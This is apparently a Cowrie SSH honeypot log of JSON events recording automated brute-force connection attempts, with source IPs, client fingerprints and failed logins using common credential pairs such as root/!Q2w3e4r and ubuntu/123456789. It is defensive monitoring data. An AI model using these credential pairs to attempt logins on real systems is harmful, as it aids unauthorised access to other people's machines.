{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:32.895914Z","src_ip":"91.92.42.133","session":"4980fdf9a3d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":60128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f115c4b41e1f","protocol":"ssh","message":"New connection: 117.121.214.50:60128 (10.17.0.5:22) [session: f115c4b41e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:34.699699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:34.702483Z","src_ip":"117.121.214.50","session":"f115c4b41e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:34.943765Z","src_ip":"117.121.214.50","session":"f115c4b41e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"password","message":"login attempt [anna/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:35.951945Z","src_ip":"117.121.214.50","session":"f115c4b41e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55598,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d4d2a20616f","protocol":"ssh","message":"New connection: 91.92.42.133:55598 (159.203.135.109:22) [session: 9d4d2a20616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:36.014014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:36.501781Z","src_ip":"91.92.42.133","session":"9d4d2a20616f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:36.503764Z","src_ip":"91.92.42.133","session":"9d4d2a20616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:37.195738Z","src_ip":"117.121.214.50","session":"f115c4b41e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:39.490067Z","src_ip":"91.92.42.133","session":"9d4d2a20616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:40.856572Z","src_ip":"91.92.42.133","session":"9d4d2a20616f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55676,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efcbdd2a1b9","protocol":"ssh","message":"New connection: 91.92.42.133:55676 (159.203.135.109:22) [session: 7efcbdd2a1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:44.283690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:44.440376Z","src_ip":"91.92.42.133","session":"7efcbdd2a1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:44.443336Z","src_ip":"91.92.42.133","session":"7efcbdd2a1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:45.239541Z","src_ip":"91.92.42.133","session":"7efcbdd2a1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:46.963697Z","src_ip":"91.92.42.133","session":"7efcbdd2a1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51786,"dst_ip":"159.203.135.109","dst_port":22,"session":"516b9b629645","protocol":"ssh","message":"New connection: 91.92.42.133:51786 (159.203.135.109:22) [session: 516b9b629645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:51.984201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:52.157526Z","src_ip":"91.92.42.133","session":"516b9b629645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:52.160443Z","src_ip":"91.92.42.133","session":"516b9b629645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:53.720803Z","src_ip":"91.92.42.133","session":"516b9b629645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:55.003107Z","src_ip":"91.92.42.133","session":"516b9b629645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55046,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f601f821589","protocol":"ssh","message":"New connection: 91.92.42.133:55046 (159.203.135.109:22) [session: 1f601f821589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:58.962190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:59.380748Z","src_ip":"91.92.42.133","session":"1f601f821589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:59.383209Z","src_ip":"91.92.42.133","session":"1f601f821589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":49141,"dst_ip":"159.203.135.109","dst_port":22,"session":"c766f7d266e1","protocol":"ssh","message":"New connection: 112.216.108.62:49141 (159.203.135.109:22) [session: c766f7d266e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:59.652203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:59.656271Z","src_ip":"112.216.108.62","session":"c766f7d266e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:57:59.862669Z","src_ip":"112.216.108.62","session":"c766f7d266e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq.123456","message":"login attempt [root/qq.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:00.729445Z","src_ip":"112.216.108.62","session":"c766f7d266e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:00.766844Z","src_ip":"91.92.42.133","session":"1f601f821589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:01.886853Z","src_ip":"91.92.42.133","session":"1f601f821589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:01.940336Z","src_ip":"112.216.108.62","session":"c766f7d266e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a23565b061d2","protocol":"ssh","message":"New connection: 91.92.42.133:38784 (159.203.135.109:22) [session: a23565b061d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:06.715957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:07.264816Z","src_ip":"91.92.42.133","session":"a23565b061d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:07.267983Z","src_ip":"91.92.42.133","session":"a23565b061d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:08.064973Z","src_ip":"91.92.42.133","session":"a23565b061d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:09.190717Z","src_ip":"91.92.42.133","session":"a23565b061d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a97a4fee6ebe","protocol":"ssh","message":"New connection: 91.92.42.133:37784 (159.203.135.109:22) [session: a97a4fee6ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:14.698740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:14.704620Z","src_ip":"91.92.42.133","session":"a97a4fee6ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:14.837640Z","src_ip":"91.92.42.133","session":"a97a4fee6ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:15.430059Z","src_ip":"91.92.42.133","session":"a97a4fee6ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:16.836968Z","src_ip":"91.92.42.133","session":"a97a4fee6ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":54836,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9bf4541d055","protocol":"ssh","message":"New connection: 45.140.193.156:54836 (10.17.0.5:22) [session: f9bf4541d055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.417643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.421479Z","src_ip":"45.140.193.156","session":"f9bf4541d055","protocol":"ssh"}
